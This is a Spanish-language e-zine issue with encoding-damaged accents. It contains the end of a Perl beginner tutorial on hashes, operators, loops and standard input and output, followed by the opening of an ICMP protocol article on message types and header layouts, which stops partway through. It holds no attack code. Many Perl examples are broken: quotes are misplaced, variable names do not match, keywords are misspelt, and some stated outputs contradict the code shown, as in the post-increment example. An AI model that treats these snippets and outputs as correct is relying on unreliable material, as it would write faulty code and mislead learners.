Mientras que en windows suele tener la siguiente forma:

C:\WINDOWS;C:\WINDOWS\COMMAND;C:\PERL5\BIN;

F¡jese, que cuando utiliza un comando en un sistema UNIX, primero
buscar  ese programa en /usr/local/bin, si no lo encuentra lo buscar  en /bin,
y as¡ sucesivamente (notese que la separaci¢n en estos sistemas en con ":").

Lo mismo pasa en un sistema como windows, pero en este caso, son
separados los directorios mediante ";". Para ver el valor de la variable PATH
solo ha de escribir PATH en el prompt del sistema en el que se encuentre,
tanto en sistemas UNIX como Windows.

Para acceder a la variable de ambiente PATH, mediante un programa en
pero se har¡a de la siguiente forma:

print "El PATH actual es $ENV{PATH}\n;

Aunque tambi‚n se puede hacer haciendo una llamada al sistema:

system("
PATH");

Debe de tener en cuenta una cosa muy importante cuando programa, y es
que siempre hay m s de una forma de hacer las cosas, no solo hay un camino.

Bien, sigamos y pasemos a explicar la visualizaci¢n de variables de
ambiente; escriba el siguiente c¢digo en su int‚rprete:

foreach $name (keys(%ENV))
{
$value = $ENV{$name};
print "
$name = $value\n";
}

Usamos la funci¢n keys y la sentencia foreach para visualizar todas
las variables. La funci¢n keys acepta como argumento una matriz asociativa y
devuelve todas las claves en esa matriz. De tal forma keys(%ENV) es una lista
de nombres de variables de ambiente.

La sentencia foreach permitir  discurrir por una lista de elementos,
copiar uno de esos elementos en una variable, en este ejemplo $name. Se puede
acceder a los valores correspondientes utilizando cada clave como ¡ndice en la
matriz asociativa %ENV.

Pasemos a utilizar una matriz asociativa como una peque¤a base de
datos, para acceder a un elemento de una matriz asociativa se necesita una
clave, por lo que cuando se quiera consultar todos los elementos de la matriz
asociativa necesitar  las claves. Utilicemos la funci¢n keys para tomar el
nombre de la matriz asociativa como argumento y que devuelva una matriz con
todas las claves. Veamos un ejemplo:

#!/usr/bin/perl
#definimos la matriz asociativa
%gastos = ("
Javi" => 1000,
"
Jose" => 1500,
"
Juan" => 14.5,
"
Maria => 950.75");

#Obtenemos las CLAVES y las visualizamos
@claves = keys(%gastos);
print "
@names\n";

Con este programa se visualizar  la siguiente salida por pantalla:

Juan Maria

  
Javi Jose

Bien, podemos observar como se han devuelto las "claves", pero si nos
fijamos bien veremos que las claves son devueltas con un orden aleatorio. Si
desea imprimir las claves en orden alfab‚tico puede utilizar la funci¢n sort
como se muestra a continuaci¢n:

#!/usr/bin/perl
#definimos la matriz asociativa
%gastos = ("Javi" => 1000,
"Jose" => 1500,
"Juan" => 14.5,
"Maria => 950.75");

#Obtenemos las CLAVES y son ordenadas alfabeticamente
@claves = keys(%gastos);
@claves_alfab = sort(@claves);

#Visualizamos los elementos UNO A UNO
foreach $claves (@claves_alf)
{
print "$name gast¢ \$$gastos{$name}\n";
}

La salida de ‚ste programa ser¡a la siguiente:

Javi gast¢ $1000
Jose gast¢ $1500
Juan gast¢ $14.5
Maria gast¢ $950.75

Puede ver como la salida del programa tiene una estructura ordenada,
pero tambi‚n puede utilizar la funci¢n values muy parecida a la funci¢n keys:

@claves = values(%gastos)
print "@claves\n";

Siendo la matriz asociativa %gastos definida anteriormente, la salida
del programa ser¡a la siguiente:

1000 14.5 1500 950.75

Los valores son devueltos de forma arbitr ria.

Hag mos un programa que obtenga primero las claves y luego los valores
uno a uno, para ello puede utilizar la funci¢n each de la siguiente manera:

#!/usr/bin/perl
#definimos la matriz asociativa
%gastos = ("Javi" => 1000,
"Jose" => 1500,
"Juan" => 14.5,
"Maria => 950.75");

#Visualiza los pares clave-valor uno a uno
while(($name, $money) = each(%gastos))
{
print "$name gast¢ \$$money\n";
}

$name y $money almacenan un par clave-valor, cuando no hay m s
elementos en la matriz asociativa, la funci¢n each devuelve una matriz vac¡a y
el bucle while finalizar .

Vay mos ahora al borrado de un elemento de la matriz asociativa. Vea
el siguiente ejemplo como se utiliza la funci¢n delete para eliminarlo:

#!/usr/bin/perl
#definimos la matriz asociativa
%gastos = ("Javi" => 1000,
"Jose" => 1500,
"Juan" => 14.5,
"Maria => 950.75");

#Muestra claves actuales
@names = keys(%gastos);
print "Claves originales: @names\n";

#Eliminamos la entrada correspondiente
delete($gastos{"Juan"});

#Muestra las claves de nuevo
@names = keys(%gastos);
print "Despu‚s de eliminar la entrada: @names\n";

Si ejecuta el programa ver  la siguiente salida por pantalla:

Claves originales: Javi Juan Jose Maria
Despu‚s de eliminar la entrada: Javi Jose Maria

Pasemos ahora a ennumerar algunas variables especiales:

@ARG ==> Matriz que contienen los argumentos de las
l¡neas de comando utilizados para iniciar el
programa Perl.
@ENV ==> Almacena variables de ambiente.
$_ ==> Varias funciones.
@_ ==> Lista de argumentos que se transmite a una
subrutina.
$0 ==> Nombre del fichero que contiene el programa.
$] ==> N£mero de versi¢n de Perl.
$< ==> ID del usuario.
$^X ==> Ruta completa del int‚rprete Perl.

===============================
Procesamientos de datos en Perl
===============================

Ya sab‚mos c¢mo almacenar datos, ahora solo hace falta saber como
efectuar datos con ellos, c¢mo escribir expresiones (f¢rmulas).

Como ya hemos explicado antes, existen los operadores aritm‚ticos,
tales como la suma(+), resta(-), divisi¢n(/) o multiplicaci¢n(*).

Escribamos un programa sencillo que realice operaciones artim‚ticas
usando constantes y variables.

#!/usr/bin/perl

#Definimos variables
$producto_1 = "manzanas";
$precio = 100;
$iva = 1.16;

#Operaci¢n que calcula el producto
$producto_1_precio = $precio * $iva;
$iva_producto = $producto_1_precio - $precio

#Imprimimos por pantalla
print "El precio de las $productos_1 con iva es $producto_1_precio\n";
print "Por lo que el iva son $iva_producto pesetas\n";

Bien, este programa calcula el iva de cierto producto, y adem s
calcula la diferencia entre el precio total con iva y el precio sin iva, es
decir la diferencia (el iva en pesetas segun el producto).

Tambi‚n existen operadores muy comunes como ++ que es el operador de
autoincremento, si desea por ejemplo que una variable aumente su valor en uno
cada vez que se encuentre por ejemplo una palabra en un documento.

$count++; #seria equivalente a $count = $count + 1;

El operador de autoincremento se puede utilizarlo de dos formas; como
sufijo de una variable o como prefijo de una variable. El primero se
incrementa la variable DESPUS de que se ha utilizado en la expresi¢n en curso
(llamado post-decremento). El segundo se incrementa la variable ANTES de que
se haya utilizado en la expresi¢n en curso (llamado pre-decremento).

Para que quede m s claro, hagamos dos ejemplos con el operador de
autoincremento y veamos su salida.

#Post-decremento
$count = 100
$count_now = $count + 1; #Ser¡a lo mismo que $count++
print "Cuenta actual = $count_now\nCuenta = $count\n";

La salida de este programa ser¡a la siguiente:

Cuenta actual = 100
Cuenta = 101

Veamos ahora que pasar¡a con el pre-decremento:

#Pre-drecremento
$count = 100
$count_now = ++$count
print "Cuenta actual = $count_now\nCuenta = $count\n";

El resultado ser¡a:

Cuenta actual = 101
Cuenta = 101

Aqu¡ $count incrementa antes de utilizar el valor, $count cambia de
100 a 101 ANTES de que el valor se asigne a la variable $count_now.

Tambi‚n existe el operador de autodecremento (--), que disminuye el
valor de la variable en una unidad. Existen dos formas de utilizar ‚ste
operador al igual que el anterior: $count--, el valor de $count se decrementa
despu‚s de que el valor antiguo se utilice en la expresi¢n actual. Mientras
que --$count, el valor de $count se decrementa antes de evaluar la expresi¢n
actual.

================
Otros operadores
================

% ==> Operador de m¢dulo o resto (9%4=1)
** ==> Operador de exponente
Virgulilla ==> Operador NOT
& ==> Operador AND
| ==> Operador OR
^ ==> Operador OR exclusivo
<< ==> Operador de desplazamiento hacia la izquierda
>> ==> Operador de desplazamiento hacia la derecha

==============================================
Operadores para trabajar con valores num‚ricos
==============================================

+= ==> Operador de asignaci¢n de suma
-= ==> Operador de asignaci¢n de resta
*= ==> Operador de asignaci¢n de multiplicaci¢n
/= ==> Operador de asignaci¢n de divisi¢n
$= ==> Operador de asignaci¢n de resto
**= ==> Operador de asignaci¢n de exponenciaci¢n
&= ==> Operador de asignaci¢n de AND binario
|= ==> Operador de asignaci¢n de OR binario
^= ==> Operador de asignaci¢n de OR exclusivo
<<= ==> Operador de asignaci¢n de desplazamiento hacia
la izquierda
>>= ==> Operador de asignaci¢n de desplazamiento hacia
la derecha

No me voy a extender en explicar cada uno de estos operadores, ya que
es muy extenso y se puede encontrar en cualquier libro o guia de referencia de
programaci¢n medianamente bueno.

Cuando utilice operadores, puede alterar el orden de una determinada
parte de la expresi¢n usando par‚ntesis.

Perl incluye funciones como sin o como cos, para calcular el seno o
coseno respectivamente de cualquier valor, pero no incluye para calcular la
tangente, aunque se puede calcular de la siguiente manera:

tan(A) = sin(A) / cos(A)

Perl incluye tambi‚n la funci¢n atan2 para calcular el arco tangente,
utilizado muy frecuentemente para calcular por ejemplo la pendiente de un
terreno ($A) dada la elevaci¢n ($elev) desde una distancia concreta ($dist):

$A = atan2($elev, $dist)

La funci¢n sqrt se utiliza para calcular ra¡ces cuadradas, por ejemplo
podria calcular la ra¡z cuadrada de 2 catetos, obteniendo as¡ la hipotenusa:

#Definimos los lados
$x = 4
$y = 5
$hipotenusa = sqrt($x**2 + $y**2);
print "La hipotenusa de un rect ngulo de $x por $y es $hipotenusa\n";

Bi‚n, veamos un poco por encima la funci¢n srand y rand, que son
utilizadas para inicializar la semilla para generar n£meros aleatorios y
generar los mismos respectivamente. Veamos un ejemplo:

#!/usr/bin/perl
@seq = (); #Definimos Matriz vac¡a para guardar la secuencia aleatoria
srand(time()); #Inicializa la semilla usando la salida de la funci¢n
#time
$count = 0;
while($count < 20) #Genera 20 n£meros aleatorios entre 1 y 20
{
$number = int(rand(20) + 1); #Genera un n£mero aleatorio y lo
#lo convierte en entero
for($i = 0); $i < $count; $i++) #Comprueba si el n£mero ya est 
#en el array
{
if($number == $seq[$i])
{
last; #El num. ya est  en el array @seq
}
}
if($i >= $count) #Aun no est  en @seq
{
#Guarda el num. en @seq e incrementa la cuenta
$seq[$count] = $number;
$count++;
}
}
#Muestra la secuencia aleatoria
print "Seq. aleatoria del 1 al 20:\n@seq\n";

Al ejecutar este programa puede obtener una salida parecida a esta:

Seq. aleatoria del 1 al 20:
4 7 5 6 9 8 10 1 2 11 3 20 17 15 12 18 19 13 14 16

================================
Operaciones con cadenas de texto
================================

En lo que esto se refiere, no es m s que por ejemplo combinar dos
cadenas de texto para formar una tercera, separar las lineas de un fichero en
varias partes, etc.

Pasemos a explicar lo que es la concatenaci¢n de cadenas y como se
realiza, que en realidad es la uni¢n de las mismas, veamos un ejemplo:

#!usr/bin/perl
#Definimos dos variables
$nombre = "Javi";
$apellidos = "Perez de la Torre";
#Concatenamos las dos cadenas
$nombrecompleto = $nombre. " ".$apellidos;
#Imprimimos por pantalla
print "$nombrecompleto\n";

La variable $nombrecompleto almacena el resulado de la operaci¢n, debe
haber un espacio en blanco entrecomillado entre las dos variables y la
concatenaci¢n es representada mediante el signo punto (.).

Fij‚monos ahora en la repetici¢n de cadenas; el operador de repetici¢n
representado mediante el s¡mbolo x, repite una cadena un n£mero espec¡fico de
veces. Un ejemplo:

$separador = "_" x 10
print "$separador\nBienvenido\n$separador\n";

Este programa tiene la siguiente salida;

__________
Bienvenido
__________

Pas‚mos ahora a explicar la extracci¢n de una subcadena, imagine que
tenemos un fichero de texto que contiene sugerencias de diversas persona, cada
una de ‚stas sugerencias comienza con una l¡nea informando de qui‚n la envi¢:

From: Juan P‚rez
sugerencia... bla bla bla
From: Javi P‚rez
sugerencia... bla bla bla
From: Jaime Piedra
sugerencia... bla bla bla
From: Jacobo Ib ¤ez
sugerencia... bla bla bla

Bi‚n, imagine que desea hacer una lista de las personas que hayan
mandado sugerencias, para ello deberemos de EXTRAER una parte de la cadena,
exactamente la que sigue a la palabra From seguido de un espacio, para ello
podemos usar la funci¢n substr de la siguiente forma:

#!/usr/bin/perl
$line = "From: Juan P‚rez";
#Extrae el texto que va despu‚s de los primeros 6 caracteres
$from = substr($line, 6);
print "$from\n";

sto imprimira Juan P‚rez, en el pr¢ximo n£mero ya escribir‚ como
acceder a un fichero y hacerlo con todas las lineas, de momento basta con
tener esto claro. Pero expliquemos un poco m s la funci¢n substr, imagine que
tiene almacenado en una variable "Perl es un lenguaje de programaci¢n.", y que
de esa linea solo desea copiar la parte de "lenguaje", se podr¡a hacer de la
siguiente manera:

#!/usr/bin/perl
#Cadena original
$line = "Perl es un lenguaje de programaci¢n.";
#Extracci¢n de una parte de la cadena anterior
$parte = substr($line, 12, 8);
print "$parte\n";

Lo que hace este programa, es extraer de la cadena almacenada en $line
a partir del caracter 12 y terminando de extraer 8 caracteres m s.

Tambi‚n puede hacer uso de la funci¢n index, imagine que no sabe la
posici¢n en la que se encuentra la palabra lenguaje, y es la que desea extraer
esto se podr¡a hacer de la siguiente forma:

#!/usr/bin/perl
$line = "Perl es un lenguaje de programaci¢n.";
$pos = index($line, "lenguaje");
$part = substr($line, $pos, 8);
print "$part\n";

Creo que queda bastante claro, pasemos ahora a calcular la longitud
por ejemplo de una cadena, es decir el n£mero de caracteres que ‚sta contiene.
Para ello podemos usar la funci¢n length del siguiente modo:

#!/usr/bin/perl
#Cadena original
$line = "Perl es un lenguaje de programaci¢n.";
#Calcula la longitud de $line
$longitud = length($line);
#Muestr la candena original
print "$line\n";
Prepara la linea de guiones y las visualiza
$uline = "-" x $length
pritn "$uline\n";

La salida de este programa ser¡a la siguiente:

Perl es un lenguaje de programaci¢n
-----------------------------------

Los guiones son utilizados para hacer una especie de subrayado, que
encajar  perfectamente con la longitud de la cadena, ya que se multiplica el
n£mero de guiones por la longitud de la cadena (que es $longitud). Avancemos
un poco y pas‚mos a explicar otros operadores.

=======================================
Operadores para comparaciones num‚ricas
=======================================

== ==> Operador de igual que
!= ==> Operador de distinto de
< ==> Operador de menor que
> ==> Operador de mayor que
<= ==> Operador de menor o igual que
>= ==> Operador de mayor o igual que
<=> ==> Operador de comparaci¢n de tres v¡as

================================
Operadores para comparar cadenas
================================

eq ==> Verdadero si las cadenas X e Y son iguales
ne ==> Verdadero si las cadenas X e Y son distintas
gt ==> Verdadero si X es mayor que Y
ge ==> Verdadero si X es mayor o igual que Y
lt ==> Verdadero si X es menor que Y
le ==> Verdadero si X es menor o igual que Y
cmp ==> -1 si X es menor que Y, 0 si son iguales, 1
si X es mayor que Y

Cuando comparamos cadenas, se dice que una cadena es mayor que otra,
comparando su "valor num‚rico" de los caracteres, es decir el valor de A es 65
el valor de B es 66, por lo que A es menor que B. El valor num‚rico de los
caracteres viene determinado por el c¢digo ASCII.

===================
Sentencias y Bucles
===================

Debe de tener claro la siguiente estructura:

palabra clave (expresi¢n)
{
bloque de sentencias
}

La expresi¢n entre par‚ntesis se comprueba antes de que el bloque de
sentencias entre llaves se ejecute. Se deben de poner llaves para delimitar
las sentencias. Debe de utilizar las sentencias if y unless para ejecutar un
bloque de c¢digo basado en el valor de la expresi¢n, pero tambien puede usar
las sentencias elsif y else con la sentencia if.

==
if
==

If ejecuta un bloque de sentencias si se cumple una condici¢n. La
estructura de una sentencia combinada if-else tiene la siguiente estructura:

if (expresi¢n)
{
sentencias a ejecutar si la expresi¢n es verdadera
}
else
{
sentencias a ejecutar si la condici¢n es falsa
}

esto ejecuta unas sentencias si la condici¢n es falsa, y otra
diferente si la condici¢n es verdadera, pero a veces es necesario comprobar
m s de dos alternativas, por lo que podr¡a utilizar una sentencia if con
varias cl usulas elseif y una cl usula else para implementar ‚sta l¢gica, de
la siguiente manera:

if ($longitud >= 10)
{
print "Es mayor de 9!!!!!!\n";
}
elseif ($longitud >= 6 && $longitud <= 9)
{
print "Es mayor o igual a 6 pero menor que 10!!!!\n";
}
elseif ($longitud > 3 && $longitud < 6)
{
print "Mayor que 3, pero menor que 6!!!\n";
}
} else
{
print "Muy Bajo!\n";
}

Imagine por ejemplo que desea salir del programa si el valor excede de
15, podr¡a escribir lo siguiente para realizar esta operaci¢n:

exit if($error >25);

======
unless
======

Muchas veces, quiere ejecutar un bloque de sentencias si una condici¢n
es falsa, por lo que escribir "si no es el root, no ejecutar este programa",
queda un poco lioso, y es m s facil utilizar la l¢gica de "a no ser que sea
root, no ejecutar el programa"
, esto se realiza con la sentencia unless , que
significa "a menos que". Veamos un ejemplo:

unless(open(DATAFILE. "tree.dat"))
{
die "No se puede abrir el fichero de datos!\n";
}

El programa se podr¡a leer de la siguiente manera: "a no ser que el
fichero se abra, paralizar el programa"
. La func¡on die provoca la salida del
programa despu‚s de visualizar el mensaje que tenemos como argumento.

=====
while
=====

Imagine que desea ejecutar un bloque de sentencias hasta que alguna
condici¢n llegue a ser falsa, la operaci¢n de repetici¢n de un bloque de
sentencias se le llama bucle. Veamos un ejemplo de un programa que sume los
n£meros del 1 al 10 y hasta que no los sume no salga del bucle:

#!/usr/bin/perl
while($i <= 10)
{
$sum += $i;
$i++
}
print "Suma del 1 al 10 = $sum\n";

La salida del programa ser  la siguiente:

Suma del 1 al 10 = 55

La sintaxis del bucle es la siguiente:

while (expresi¢n)
{
bloque de sentencias a ejecutar MIENTRAS la expresi¢n sea
verdadera
}

=====
until
=====

La sentencia until repite un bloque de sentencias hasta que una
determinada condici¢n se haga verdadera, until ejecuta el bloque mientras la
condici¢n es falsa y repite el bucle hasta que una expresi¢n se cumpla. Veamos
un ejemplo:

#!/usr/bin/perl
#Procesa ¢rdenes hasta que se introduce "quit"
until ($command eq "quit")
{
$command = <STDIN>; #Lee la orden
chop $command; #Elimina el car cter final de nueva l¡nea
print "$command\n";
}

ste programa acepta ¢rdenes y las imprime hasta que se teclee quit,
por lo que $command es equivalente a quit y termina el bucle until.

===
for
===

La sintaxis del bucle for es la siguiente:

for (expresion_1; expresion_2; expresion_3)
{
bloque de sentencias
}

La expresi¢n expresion_1 se eval£a una vez, el bloque de sentencias se
ejecuta mientras la expresi¢n expresion_2 sea verdadera. La expresi¢n
expresion_3, se eval£a despues de cada ejecuci¢n del bloque de sentencias.
Debe de tener en cuenta que debe colocar las llaves alrededor del bloque de
sentencias incluso si no hay sentencias, veamos un ejemplo:

for ($i=1, $sum=0; $i <= 10; $sum += $i, $i++) {}

=======
foreach
=======

Puede utilizar foreach para ejecutar el bloque de c¢digo con cada
elemento de la matriz y puede utilizar el bucle for para acceder a cada
elemento de una matriz mediante su ¡ndice.

Imagine que desea hace un programa que encuentre el mayor valor en una
matriz, se podr¡a hacer de la siguiente forma:

#!/usr/bin/perl
#Definimos la matriz
@num = (55, 45, 54, 33, 22, 39, 10, 9, 57, 89, 99);
#Encuentra el mayor valor
foreach $num (@num)
{
if($num > $max)
{
$max = $num;
}
}
#Visualiza el mayor valor
print "Valor m ximo de la matriz = $max\n";

Sencillo, no? bien, realmente la sintaxis ser¡a la siguiente:

foreach $variable (@matriz)
{
bloque de sentencias
}

Debe de saber, que si se omite la variable en una sentencia foreach,
Perl interpreta que se est  utilizando la variable $_ para guardar el elemento
actual de la matriz.

================
Ruputa de bucles
================

A veces, es necesario romper un bucle antes de que se hayan realizado
todas la iteraciones, por ejemplo est  buscando un nombre en una matriz y
desea que termine el bucle tan pronto como encuentre su objetivo, los nombres
se almacenan en la matriz @nombres y quiere buscar el nombre que se guarda en
la variable $customer.

foreach $name (@nombres)
{
#rompe el bucle si se encuentra $customer
last if($customer eq $name);
#otro codigo...
}

Es posible usar last en todos los tipos de bucles. Puede tener un
bucle dentro de otro, y con el comando last puede romper el bucle exterior,
aunque last se encuentre en el bucle m s interno, para ello primero ha de
etiquetarse el bucle exterior (darle un nombre), luego ha de colocarse el
nombre del bucle despu‚s de la palabra reservada last, un ejemplo:

BUCLE_EXTERIOR: while($line =<STDIN>)
{
chop $line; #Se omite el car cter de nueva l¡nea
foreach $name (@names)
{
last BUCLE_EXTERIOR if ($line eq $name);
#Finaliza el bucle exterior
}
}

La etiqueta que se le asigna, debe siempre ir seguida de : para que
Perl as¡ lo identifique.

Tambi‚n puede utilizar el comando next para saltar la iteraci¢n de un
bucle, en los casos que existe un bucle dentro de otro, se puede utilizar una
etiqueta con el comando next para designar al bcle que queremos saltar. Cuando
se use next sin etiqueta se salta la pr¢xima iteraci¢n del bucle interno.

==============
STDIN y STDOUT
==============

Los programas Perl se dise¤an generalmente para leer informaci¢n de la
entrada est ndar (el teclado) y enviarla a la salida est ndar (la pantalla),
‚sta entrada y salida est ndar se puede redireccionar. La expresi¢n siguiente
lee una l¡nea de la entrada est ndar "$line = <STDIN>" y la almacena en una
variable llamada $line. La funci¢n print env¡a su salida a la salida est ndar
que por defecto es la pantalla.

Hay dos formas de redireccionar STDIN y STDOUT: Usando operadores de
redireccionamiento (por ejemplo enlazando la salida a un fichero) o usando la
salida de otro programa como STDIN.

Puede usar operadores de redireccionamiento para enlazar STDIN y
STDOUT a ficheros en lugar de conectarlos al teclado y a la pantalla
respectivamente.

El signo < es el operador de redireccionamiento de entrada, mientras
que el signo > es el operador de redireccionamiento de salida.

Puede redireccionar el gestor STDOUT de cualquier programa al STDIN
de un programa Perl, para ello deber  usar el operador | (tambi‚n conocido
como pipe o tuber¡a), que conecta la salida STDOUT del primer programa con la
entrada STDIN del segundo.

Perl eval£a <STDIN> como resultado la siguiente l¡nea de la entrada
est ndar, todo lo que hay que hacer es asignar el valor a la variable:

$linea = <STDIN>;

Lee la siguiente l¡nea de la entrada est ndar y almacena el texto en
la variable llamada $line. <STDIN> lee todos los caracteres de la l¡nea
incluyendo el car cter de nueva l¡nea, si desea eliminar el car cter de nueva
l¡nea, puede hacer uso de la funci¢n chomp de la siguiente manera:

$linea = <STDIN>;
chomp $linea; #Elimina el caracter de nueva linea de $linea

Por lo general, se asigna el valor de <STDIN> a una variable, para
almacenar el texto de entrada que se utilizar  despu‚s, la l¡nea de texto se
asigna autom ticamente a una variable llamada $_. Esto ocurre cuando se usa
<STDIN> como la expresi¢n condicional de un bucle while, un ejemplo:

while(<STDIN>)
{
print $_;
}

Este programa devolver  el car cter introducido hasta encontrar el
car cter de fin de fichero, que es marcado con control+D (en Unix) o control+Z
seguido de intro (en Windows).

Tambi‚n puede asignar <STDIN> a una matriz, por ejemplo:

@line = <STDIN>;

Hay una forma especial de leer la entrada est ndar mediante el
operador <>, por ejemplo:

print while(<>);

El programa almacena datos en un fichero.

Ve mos ahora STDOUT, se puede especificar a la funci¢n print que env¡e
su salida a STDOUT, por ejemplo:

print STDOUT "WeLcOmE tO pErL ;)\n";

Si desea enviar la salida a un fichero abierto (que se identifica a
trav‚s de su gestor de fichero), debe de usar la funci¢n print con el nombre
de gestor de fichero como argumento:

print GESTORDEFICHERO, "Texto a enviar al fichero";

Debe de tener el fichero abierto para escritura, Para ello puede
a¤adir el prefijo > al nombre del fichero, lo que se hace al sistema operativo
es que se quiere abrir el fichero para escritura.

Cuando abre un fichero puede utilizar la estructura Open OR die, por
ejemplo:

open (GESTOR_DE_FICHERO, "Nombre_del_fichero") ||
die ("No se puede abrir el fichero!!!!!\n");

El funcionamiente se puede comprender de la siguiente manera: "abre el
fichero X o si no lo puede abrir por lo que sea el programa muere y muestra
por pantalla Y"
.

Al terminar la utilizaci¢n de un fichero es necesario cerrarlo
llamando a la funci¢n close, como se muestra a continuaci¢n:

close GESTOR_DE_FICHERO;

Con esto finaliza este articulillo, espero que os sea de gran ayuda.

Algunas direcciones de interes, son las siguientes:

Http://www.perl.com
Http://www.cpan.org

Si teneis alguna duda sobre cualquier tema o articulo que hay escrito,os
quereis poner en contacto conmigo por cualquier raz¢n, quejas o cualquier
otra cosa podeis escribir a mi mail: overdrive@ono.com

Tambien podeis contactar conmigo en el irc en el servidor hispano, en los
canales #programaci¢n y #perl.

-=(EOF)=-


-=( 7A69 E-zine 11 )=--=( art5 )=--=( ICMP )=--=( Ripe )=-

ICMP (Internet Control Messages Protocol)

0. Indice
---------

1. Introduccion
2. Tipos de ICMP's
2.1. Destino inalcanzable
2.2. Acallamiento de origen
2.3. Redireccionamiento
2.4. Echo y EchoReply
2.5. Tiempo agotado
2.6. Problema en los parametros
2.7. Marca de tiempo
2.8. Solicitud de informacion
2.9. Obtencion de mask address
2.10. Resumen de todos los tipos aqui
3. Utilidades de ICMP
3.1. Informacion de errores
3.2. ¿Estas?
3.3. Trazado de rutas
3.4. Obtencion de la MTU de una ruta
4. Programando ICMP
5. ICMPv6
6. Despedida




1. Introduccion
---------------

Aquel que haya leido y comprendido los articulos publicado en este
mismo e-zine "Entrañas de internet; protocolo y demas", tiene ahora una
vision global del funcionamiento de la red de redes, pero no cabe duda que
aun quedan cosas que aprender, cosas como el protocolo que se encarga de
mantener informados a los hosts de la red de lo que esta pasando, el
protocolo ICMP.

Vimos que IP ofrecia un metodo bastante bien elavorado para el envio
de datagramas, pero que por si mismo no podia asegurar que dichos paquetes
llegaran a su destino (de eso se encarga otro protocolo, como puede ser TCP).
ICMP (Internet Control Messages Protocol) no puede hacer que IP sea mas
fiable, pero permite, como hemos dichos, que los hosts sepan que esta
pasando, y ello gracias a mensajes de control o error.

Un ICMP sera mandado, por ejemplo, cuando un router o gateway se vea
obligado a descartar un datagrama, por el motivo que sea (porque no tiene
capacidad para procesarlo, porque se ha roto un enlace entre routers...). Hay
que tener en cuenta que no se generara *NUNCA* un mensaje de error para
indicar error en el envio de otro ICMP. Parece logico.

Hay varios tipos de mensajes ICMP, y del tipo depende la cabecera,
como veremos.



2. Tipos de ICMP's
------------------

2.1. Destino inalcanzable
-------------------------

Este mensaje sera enviado siempre que se cumpla alguna de las
condiciones que se nombran a continuacion:

[*] - El destino es inalcanzable: Un router detecta que no hay camino hasta
el host de destino, y avisa al host de origen enviado un ICMP de este
tipo.

[*] - Paquete demasiado grande: Por un motivo cualquiera un router no puede
enviar un paquete de esa magnitud, y en la cabezera IP de dicho paquete
se prohive la fragmentacion del mismo.

[*] - Servicio no activo: El paquete alcanza el host de destino, pero el host
de destino no puede interpretar el paquete porque no dispone de
dicho servicio o protocolo.

La cabezera de un ICMP_DEST_UNREACH es la siguiente:

**********************[ Cabecera ICMP_DEST_UNREACH ]*************************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| No se usan |
|-------------------------------------------------------------------|
| Cabecera IP y 8 primeros bytes de los datos |
| del datagrama que genero el error |
| |

*****************************************************************************

El campo tipo toma el valor 3 (ICMP_DEST_UNREAH), y mediante el campo
codigo se da una informacion mas detallada del error. Este puede tomr los
siguientes valores:

[*] - 0x00 (ICMP_NET_UNREACH) cuando la red es inaccesible.
[*] - 0x01 (ICMP_HOST_UNREACH) cuando el host es inaccesible.
[*] - 0x02 (ICMP_PROT_UNREACH) cuando el protocolo no esta disponible en el
host de destino.
[*] - 0x03 (ICMP_PORT_UNREACH) cuando el puerto no esta disponible en el host
de destino.
[*] - 0x04 (ICMP_FRAG_NEEDED) cuando el paquete es demasiado grande y no se
permite la fragmentacion
[*] - 0x05 (ICMP_SR_FAILED) cuando el primer router es erroneo.
[*] - 0x06 (ICMP_NET_UNKNOW) cuando la red no es conocida.
[*] - 0x07 (ICMP_HOST_UNKNOW) cuando el host no es conocido.
[*] - 0x08 (ICMP_NET_ANO) cuando por razones de seguridad, no se permite una
comunicacion con la red de destino.
[*] - 0x09 (ICMP_HOST_ANO) cuando por razones de seguridad, la comunicacion
con el host de destino esta prohivida.
[*] - 0x0a (ICMP_NET_UNR_TOS) cuando la red no dispone del servicio
especificado.
[*] - 0x0b (ICMP_HOST_UNR_TOS) cuando el host no dispone del servicio
especificado.
[*] - 0x0c (ICMP_PKT_FILTRED) cuando por alguna causa el paquete ha sido
filtrado.
[*] - 0x0d (ICMP_PREC_VIOLATION) cuando la precedencia ha sido violada.
[*] - 0x0e (ICMP_PREC_CUTOFF) cuando se produce un recorte de precedencia.



2.2. Acallamiento de origen
---------------------------

Puede darse la situcion de que un router no pueda procesar la
infomacion que un host le manda, al llegar esta de forma demasiado
continuada. Es entonces cuando el router generara un ICMP_SOURCE_QUENCH para
indicarle al host de origen que debe mandar la informacion mas lentamente.

Un host que recive un ICMP de este tipo debe reducir la velocidad de
envio hasta que deje de recivir ICMP's, entonces podra intentar augmentar la
velocidad de envio nuevamente.

La cabecera de este tipo de ICMP es la siguiente:

**********************[ Cabecera ICMP_SOURCE_QUENCH ]************************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| No se usan |
|-------------------------------------------------------------------|
| Cabecera IP y 8 primeros bytes de los datos |
| del datagrama que genero el error |
| |

*****************************************************************************

El campo tipo toma el valor 4 (ICMP_SOURCE_QUENCH), y el campo codigo
el valor 0.



2.3. Redireccionamiento
-----------------------

Este paquete sera generado por un router, cuando en su tabla de
enrutado ve que el host de destino puede mandar el paquete por una ruta mas
corta, de manera que este avisa al host de origen para que actualiza su tabla
de enrutado para que mande los paquetes por el otro host.

La cabecera usada para este tipo de ICMP es:

*************************[ Cabecera ICMP_REDIRECT ]**************************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| IP del router que se debe usar |
|-------------------------------------------------------------------|
| Cabecera IP y 8 primeros bytes de los datos |
| del datagrama que genero el error |
| |

*****************************************************************************

El campo tipo toma el valor 5 (ICMP_REDIRECT), en Codigo se realiza
una especificacion mas detallada sobre el redireccionamiento que se debe
realizar, mientras que en el campo IP del router se especifica el nuevo
router por el que deberan pasar los paquetes.

El campo codigo puede tomar los valores siguientes.

[*] - 0x00 (ICMP_REDIR_NET) cuando se debe realizar el redireccionamiento
para la red.
[*] - 0x01 (ICMP_REDIR_HOST) cuando el redireccionamiento solo se debe
aplicar para el host.
[*] - 0x02 (ICMP_REDIR_NETTOS) cuando el redireccionamiento debe aplicarse a
la red y al tipo de servicio.
[*] - 0x03 (ICMP_REDIR_HOSTTOS) cuando se debe redireccionar el datagrama
para el tipo de servicio y el host.



2.4. Echo y EchoReply
---------------------

Cuando un host recive un ICMP del tipo 8 (ICMP_ECHO) debe responder
con un ICMP del tipo 0 (ICMP_ECHOREPLY), el contenido del cual sera igual al
paquete recivido.

La cabecera de ambos tipos es la misma:

